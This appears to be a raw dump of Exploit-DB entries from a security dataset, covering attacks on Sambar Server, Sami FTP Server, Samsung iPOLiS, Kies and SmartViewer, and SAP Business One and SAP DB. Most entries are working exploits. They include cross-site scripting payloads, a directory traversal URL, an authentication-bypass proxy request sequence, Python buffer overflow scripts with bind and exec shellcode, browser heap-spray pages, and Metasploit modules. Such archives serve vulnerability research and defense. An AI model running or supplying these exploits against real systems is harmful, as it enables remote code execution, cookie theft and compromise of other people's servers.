deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22434
Description: Sambar Server 5.x - Information Disclosure
Type: remote
Platform: windows
Date: 2003-03-27
Author: gregory Le Bras

Exploit:
source: https://www.securityfocus.com/bid/7207/info

An information disclosure vulnerability has been reported for Sambar Server. The vulnerability exists in some files existing in Sambar Server's cgi-bin directory.

An attacker can exploit this vulnerability by making a request for these files. This will result in Sambar Server returning potentially sensitive information.

An attacker can use the information obtained in this manner to launch further attacks against a vulnerable host. 

http://[target]/cgi-bin/environ.pl
http://[target]/cgi-bin/testcgi.exe
Exploit-DB #24076
Description: Sambar Server 5.x - Open Proxy / Authentication Bypass
Type: remote
Platform: windows
Date: 2003-01-30
Author: David Endler

Exploit:
source: https://www.securityfocus.com/bid/10256/info

Sambar improperly validates the IP address of an originating connection and can be used to gain access the administration interface without authorization.

Once the remote attacker has gained access to the administrative interface, further attacks are possible, including privilege escalation and unauthorized system access.

-> GET / HTTP/1.1
Connection: keep-alive
*This is valid web server request. It's granted.

<- Sambar default web page

*Because the connection is keep-alive it's not broken after page is sent.

-> GET http://www.example.com HTTP/1.1

*This is valid proxy requests. This time source IP is not validated, because connection was established before

<- Web page from external site
*Sambar proxies our request.
Exploit-DB #25695
Description: Sambar Server 5.x/6.0/6.1 - logout RCredirect Cross-Site Scripting
Type: remote
Platform: windows
Date: 2005-05-24
Author: Jamie Fisher

Exploit:
source: https://www.securityfocus.com/bid/13722/info
 
Sambar Server administrative interface does not adequately filter some HTML code thus making it prone to cross-site scripting attacks. It is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user. All code will be executed within the context of the Web site running Sambar Server.
 
This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the Web site running the vulnerable software. 

1.'>alert('XSS')http://www.example.com/session/logout?RCredirect=>'><script>alert('XSS')</script>
2.">alert("XSS")http://www.example.com/session/logout?RCredirect=>"><script>alert("XSS")</script>
3.%22%27>http://www.example.com/session/logout?RCredirect=>%22%27><img%20src
Exploit-DB #25696
Description: Sambar Server 5.x/6.0/6.1 - Server Referer Cross-Site Scripting
Type: remote
Platform: windows
Date: 2005-05-24
Author: Jamie Fisher

Exploit:
source: https://www.securityfocus.com/bid/13722/info
  
Sambar Server administrative interface does not adequately filter some HTML code thus making it prone to cross-site scripting attacks. It is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user. All code will be executed within the context of the Web site running Sambar Server.
  
This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the Web site running the vulnerable software. 

GET /CheckingXssInReferer.html HTTP/1.0
Cookie: RCuid=SS[PII_REDACTED]-uh287LUVlBbVwpESKaZ29/hq0cDSVneAgWlracaqApQ=; RCslb=5; RCrelogin=false
Host: www.example.com
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
Referer: "></a><script>alert('XSS')</script>
Exploit-DB #24161
Description: Sambar Server 6.1 Beta 2 - 'show.asp?show' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-06-01
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/10444/info

Sambar Server is reportedly prone to multiple vulnerabilities. These issues may allow an attacker to access sensitive files and carry out directory traversal and cross-site scripting attacks.

These issues require an attacker to have administrative privileges, however, it is reported that an administrative password is not set on the server by default. An administrator who is not intended to have certain privileges may also exploit these vulnerabilities.

Sambar 6.1 Beta 2 is reported to be prone to these issues, however, it is likely that other versions are affected as well.

http://www.example.com/sysadmin/system/show.asp?show=<script>alert("oops")</script>
Exploit-DB #24163
Description: Sambar Server 6.1 Beta 2 - 'showini.asp' Arbitrary File Access
Type: remote
Platform: windows
Date: 2004-06-01
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/10444/info
  
Sambar Server is reportedly prone to multiple vulnerabilities. These issues may allow an attacker to access sensitive files and carry out directory traversal and cross-site scripting attacks.
  
These issues require an attacker to have administrative privileges, however, it is reported that an administrative password is not set on the server by default. An administrator who is not intended to have certain privileges may also exploit these vulnerabilities.
  
Sambar 6.1 Beta 2 is reported to be prone to these issues, however, it is likely that other versions are affected as well.

http://www.example.com/sysadmin/system/showini.asp?file=\..\..\..\..\..\..\..\boot.ini
Exploit-DB #24162
Description: Sambar Server 6.1 Beta 2 - 'showperf.asp?title' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-06-01
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/10444/info
 
Sambar Server is reportedly prone to multiple vulnerabilities. These issues may allow an attacker to access sensitive files and carry out directory traversal and cross-site scripting attacks.
 
These issues require an attacker to have administrative privileges, however, it is reported that an administrative password is not set on the server by default. An administrator who is not intended to have certain privileges may also exploit these vulnerabilities.
 
Sambar 6.1 Beta 2 is reported to be prone to these issues, however, it is likely that other versions are affected as well.

http://www.example.com/sysadmin/system/showperf.asp?area=search&title=<script>alert(document.cookie)</script>
Exploit-DB #24875
Description: Sami FTP Server - 'LIST' Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2013-03-22
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#  http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = LowRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'       => 'Sami FTP Server LIST Command Buffer Overflow',
      'Description'   => %q{
          This module exploits a stack based buffer overflow on Sami FTP Server 2.0.1.
        The vulnerability exists in the processing of LIST commands. In order to trigger
        the vulnerability, the "Log" tab must be viewed in the Sami FTP Server managing
        application, in the target machine. On the other hand, the source IP address used
        to connect with the FTP Server is needed. If the user can't provide it, the module
        will try to resolve it. This module has been tested successfully on Sami FTP Server
        2.0.1 over Windows XP SP3.
      },
      'Platform'     => 'win',
      'Author'     =>
        [
          'superkojiman', # Original exploit
          'Doug Prostko <dougtko[at]gmail.com>' # MSF module
        ],
      'License'     => MSF_LICENSE,
      'References'   =>
        [
          [ 'OSVDB', '90815'],
          [ 'BID', '58247'],
          [ 'EDB', '24557']
        ],
      'Privileged'   => false,
      'Payload'     =>
        {
          'Space'          => 1500,
          'DisableNops'    => true,
          'BadChars'       => "\x00\x0a\x0d\x20\x5c",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'Targets'     =>
        [
          [ 'Sami FTP Server 2.0.1 / Windows XP SP3',
            {
              'Ret' => 0x10028283, # jmp esp from C:\Program Files\PMSystem\Temp\tmp0.dll
              'Offset'   => 228
            }
          ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Feb 27 2013'))
    register_options(
      [
        OptAddress.new('SOURCEIP', [false, 'The local client address'])
      ], self.class)
  end

  def exploit
    connect
    if datastore['SOURCEIP']
      ip_length = datastore['SOURCEIP'].length
    else
      ip_length = Rex::Socket.source_address(rhost).length
    end
    buf = rand_text(target['Offset'] - ip_length)
    buf << [ target['Ret'] ].pack('V')
    buf << rand_text(16)
    buf << payload.encoded
    send_cmd( ['LIST', buf], false )
    disconnect
  end

end
Exploit-DB #24557
Description: Sami FTP Server 2.0.1 - 'LIST' Buffer Overflow
Type: remote
Platform: windows
Date: 2013-03-01
Author: superkojiman

Exploit:
#!/usr/bin/env python

# Exploit Title: Sami FTP LIST buffer overflow
# Date: 27 Feb 2013
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://www.karjasoft.com/old.php
# Version: Sami FTP Server 2.0.1
# Tested on: Windows XP Pro SP1, English
#            Windows XP Pro SP2, English
#
# Description: 
# A buffer overflow is triggered when a long LIST command is sent to the 
# server and the user views the Log tab. 
#

from socket import *
import struct, sys

IP = sys.argv[1]

# Windows bind shellcode from https://code.google.com/p/w32-bind-ngs-shellcode/
# Remove bad chars using msfencode: 
# msfencode -b "\x00\x0a\x0d\x2f" -i w32-bind-ngs-shellcode.bin 
# [*] x86/shikata_ga_nai succeeded with size 241 (iteration=1)
shellcode = (
"\xd9\xc7\xbe\x4d\xa5\xde\x30\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x36\x31\x77\x19\x03\x77\x19\x83\xc7\x04\xaf\x50\xef" +
"\xf9\x4b\x10\x61\xca\x18\x50\x8e\xa1\x68\x81\x05\xdb\x9c" +
"\x32\x67\x04\x17\x72\xa0\x0b\x3f\x0e\x23\xc2\x57\xc2\x9c" +
"\xd6\x95\x4a\x45\x4f\xae\xf9\xe1\xd8\xdf\xf7\x69\xaf\x39" +
"\xb2\x89\x99\x09\x94\x41\x50\x76\x31\xaa\xc9\x39\xef\x0c" +
"\x5f\xee\x5e\x0c\xb0\x3c\xc5\x5d\xc4\x61\x39\xe9\x86\x84" +
"\x39\xec\xdd\x3d\xf2\xce\x20\xa8\x53\x3e\xf1\x68\xd7\x74" +
"\x64\x6d\x09\xc0\xb0\xc1\xe1\x58\x95\xdd\x36\xea\x90\x2a" +
"\x7c\x2b\x2e\x3f\xdf\xb8\x9b\x9b\xe1\x57\x14\x54\xf5\xf6" +
"\xa0\xd1\xea\xf9\x5f\x6c\xfa\xf9\x9b\xff\x50\x7d\x9d\xf6" +
"\xd3\x76\x6f\x56\x18\xd4\x90\xb6\x77\x4f\xee\x08\x0b\x1a" +
"\x5e\x2a\x46\x1b\x70\x7f\x67\x34\xe4\xfe\xb7\x4b\xf8\x8f" +
"\xfb\xd9\x17\xd8\x56\x48\xe7\x36\x2d\xb3\x63\x4e\x1f\xe6" +
"\xde\xc6\x03\x6b\xbb\x36\x49\x0f\x67\x0e\xfa\x5b\xcc\xa8" +
"\xbb\x72\x12\x60\xc3\xb9\x31\xdf\x99\x93\x6b\x19\x5a\xfb" +
"\x84\xf2\x37\x51\xc2\xae\x48\x03\x08\xc5\xf1\x50\x39\x13" +
"\x02\x57\x45"
)

# EIP overwritten at offset 218
# JMP ESP at 10028283 C:\Program Files\PMSystem\Temp\tmp0.dll (Universal)
buf = "A" * 218 + struct.pack("<I", 0x10028283) + "\x90" * 37 + shellcode

s = socket(AF_INET, SOCK_STREAM)
s.connect((IP,21))
print s.recv(1024)

s.send("USER superkojiman\r\n")
print s.recv(1024)

s.send("PASS letmein\r\n")
print s.recv(1024)

print "[+] sending payload of size", len(buf)
s.send("LIST " + buf + "\r\n")
print s.recv(1024)

s.close()
print "[+] sent. Connect to %s on port 28876" % (sys.argv[1],)
Exploit-DB #36756
Description: Samsung iPOLiS - ReadConfigValue Remote Code Execution
Type: remote
Platform: windows
Date: 2015-04-14
Author: Praveen Darshanam

Exploit:
<html>
<!--
Vendor Homepage: https://www.samsung-security.com/Tools/device-manager.aspx
Samsung iPOLiS 1.12.2 ReadConfigValue Remote Code Execution (heap spray)
CVE: 2015-0555
Author: Praveen Darshanam
http://blog.disects.com/2015/02/samsung-ipolis-1122-xnssdkdeviceipinsta.html
http://darshanams.blogspot.com/
Tested on Windows XP SP3 IE6/7
Thanks to Peter Van Eeckhoutte for his wonderfull exploit writing tutorials
-->
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object>
<script>

var shellcode = unescape('%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;

var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }

// SEH and nSEH will point to 0x06060606
// 0x06060606 will point to (nops+shellcode) chunk
var hbuff = "";
for (i = 0; i <5000; i++)
{
	hbuff += "\x06";
}

// trigget crash
target.ReadConfigValue(hbuff);
</script>
</html>
Exploit-DB #38206
Description: Samsung Kies - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2013-01-09
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/57249/info

Samsung Kies is prone to a remote buffer-overflow vulnerability because it fails to properly validate user-supplied input before copying it into a fixed-length buffer.

Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed attacks may cause a denial-of-service condition. 

<html>
<!-- (c)oded by High-Tech Bridge Security Research Lab -->
<head>
<title>Remote Buffer Overflow Vulnerability in Samsung Kies v. 
2.5.0.12114_1 </title>
</head>
<script language='vbscript'>
Sub PoC()
arg1="defaultV"
arg2=String(14356, "A")
arg3=1
arg4=1
Target.PrepareSync arg1 ,arg2 ,arg3 ,arg4
End Sub
</script>
<body>
<h3>Remote Buffer Overflow Vulnerability in Samsung Kies by High-Tech 
Bridge Security Research Lab</h3>
<input language=VBScript onclick=PoC() type=button value="Proof of 
Concept">
</body>
<object 
classid='clsid:EA8A3985-F9DF-4652-A255-E4E7772AFCA8'id='Target'></object>
</html>
Exploit-DB #35822
Description: Samsung SmartViewer BackupToAvi 3.0 - Remote Code Execution
Type: remote
Platform: windows
Date: 2015-01-19
Author: Praveen Darshanam

Exploit:
<html>
<!--
Samsung SmartViewer BackupToAvi Remote Code Execution PoC 
PoC developed by Praveen Darshanam 

For more details refer
http://darshanams.blogspot.com
http://blog.disects.com/2015/01/samsung-smartviewer-backuptoavi-remote.html
Original Vulnerability Discovered by rgod
Vulnerable: Samsung SmartViewer 3.0
Tested on Windows 7 Ultimate N SP1
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9265
-->

<object classid='clsid:208650B1-3CA1-4406-926D-45F2DBB9C299' id='target' ></object>
<script >
 var payload_length = 15000;
 var arg1=1;
 var arg2=1;
 var arg3=1;
 //blank strings
 var junk = "";
 var buf1 = "";
 var buf2 = "";

 //offset to SE is 156, initial analysis using metasploit cyclic pattern
 for (i=0; i<156; i++)
 {
  buf1 += "A";
 }
 var nseh = "DD";
 var seh = "\x87\x10";	//from Vulnerable DLL
 junk = buf1 + nseh + seh;

 //remaining buffer
 for (j=0; j<(payload_length-junk.length); j++)
 {
  buf2 += "B";
 }
 //final malicious buffer
 var fbuff = junk + buf2;
 target.BackupToAvi(arg1 ,arg2 ,arg3 ,fbuff);

</script>
</html>
Exploit-DB #9319
Description: SAP Business One 2005-A License Manager - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-08-01
Author: Bruk0ut

Exploit:
#!/usr/bin/python
import socket, time


#########################################INFO################################################
# NT_Naming_Service.exe (License Manager 2005 for SAP Business One 2005-A) is               #
# vulnerable to a stack-based buffer overflow allowing for full system compromise by        #
# an unauthenticated user that has TCP/IP access to SAP's license service on TCP port 30000.#
# Mike Arnold ---> mikey27 .::at::. hotmail.com                                             #
############################################################################################


header = ("########################################################################\r\n"
"#    SAP Business One 2005-A License Manager remote overflow PoC    #\r\n"     
"#           Tested on 2005-A (6.80.123) SP:00 PL:06                 #\r\n"
"#                 2005-A (6.80.320) SP:01 PL:34                 #\r\n"
"#              OS: Windows Server 2003 R2 Std/Ent Service Pack 2      #\r\n"
"#             Coded by Bruk0ut - mikey27 .::at::. hotmail.com       #\r\n"
"########################################################################\r\n")


#metasploit windows/exec - notepad.exe x86/shikata_ga_nai 152 bytes
sc = ("\xbf\xd6\x21\x7d\x3b\xda\xdb\xd9\x74\x24\xf4\x33\xc9\x5d\xb1"
"\x20\x31\x7d\x13\x83\xc5\x04\x03\x7d\xd9\xc3\x88\xc7\x0d\x47"
"\x73\x38\xcd\xc3\x36\x04\x46\xaf\xbd\x0c\x59\xbf\x35\xa3\x41"
"\xb4\x15\x1c\x70\x21\xe0\xd7\x46\x3e\xf2\x09\x97\x80\x6c\x79"
"\x53\xc0\xfb\x85\x9a\x0b\x0e\x8b\xde\x67\xe5\xb0\x8a\x53\x02"
"\xb2\xd7\x17\x55\x18\x16\xc3\x0c\xeb\x14\x58\x5a\xb4\x38\x5f"
"\xb7\xc0\x5c\xd4\x46\x3c\xd5\xb6\x6c\xc6\x26\x19\x5c\x30\xc8"
"\xf0\xfa\x37\x4e\xcd\x89\x08\x42\xa6\xfe\x94\xf7\x33\x96\xac"
"\x8e\xbc\xe4\x6d\xfa\x6c\x83\x9d\x70\x88\x0c\x36\x1c\x6f\x38"
"\xc8\x4b\x6f\xda\xbb\x1c\xfb\x40\x34\x83\x67\xa5\xd1\x3b\x0d"
"\xb9\x13")

#JMP ESP 0x773a73fb User32.dll - Server2k3 R2 STD/ENT - SP2
ret = '\xfb\x73\x3a\x77'
giop_header = '\x47\x49\x4f\x50\x01\x00\x01\x00'
buff = giop_header + '\x2f\x5c' * 500 + "A" * 24 + ret + '\x90' * 44 + sc + '\x90' * 384

print (header)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect (('10.0.0.241',30000))
s.setblocking(0)

s.send(buff)
time.sleep(1)
print ("done!")

s.close()

# milw0rm.com [2009-08-01]
Exploit-DB #16423
Description: SAP Business One License Manager 2005 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-30
Author: Metasploit

Exploit:
##
# $Id: sap_2005_license.rb 11180 2010-11-30 20:19:18Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SAP Business One License Manager 2005 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the SAP Business One 2005
					License Manager 'NT Naming Service' A and B releases. By sending an
					excessively long string the stack is overwritten enabling arbitrary
					code execution.
			},
			'Author'         => 'Jacopo Cervini',
			'Version'        => '$Revision: 11180 $',
			'References'     =>
				[
					[ 'OSVDB', '56837' ],
					[ 'CVE', '2009-4988' ],
					[ 'BID', '35933' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/9319' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# patrickw tested OK w2k3sp2 20090910
					[ 'Sap Business One 2005 B1 Universal', { 'Ret' => 0x00547b82 } ], # tao2005.dll push esp /ret
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 1 2009'))

			register_options([Opt::RPORT(30000)], self.class)

	end

	def exploit
		connect

		sploit =  "\x47\x49\x4f\x50\x01\x00\x01\x00" + rand_text_english(1024)
		sploit << [target.ret].pack('V') # EIP for w2k3sp2 - jacopo (1024)
		sploit << [target.ret].pack('V') # EIP for w2k3sp0 - patrickw (1028)
		sploit << make_nops(44) + payload.encoded + make_nops(384)

		print_status("Trying target #{target.name}...")
		sock.put(sploit)
		select(nil,nil,nil,1)

		handler
		disconnect
	end

end
Exploit-DB #16758
Description: SAP DB 7.4 - WebTools Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-16
Author: Metasploit

Exploit:
##
# $Id: sapdb_webtools.rb 9842 2010-07-16 02:33:25Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SAP DB 7.4 WebTools Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
				By sending an overly long GET request, it may be possible for
				an attacker to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9842 $',
			'References'     =>
				[
					[ 'CVE', '2007-3614' ],
					[ 'OSVDB', '37838' ],
					[ 'BID', '24773' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 850,
					'BadChars' => "\x00",
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
					'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ECX',
						},
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0
				],
			'DisclosureDate' => 'Jul 5 2007',
			'DefaultTarget'  => 0))

		register_options( [ Opt::RPORT(9999) ], self.class )
	end

	def exploit

		filler = rand_text_alphanumeric(20774)
		seh = generate_seh_payload(target.ret)

		sploit = filler + seh + rand_text_alphanumeric(3000)

		print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)

		res = send_request_raw(
			{
				'uri'   => '/webdbm',
				'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
			}, 5)

		handler

	end

end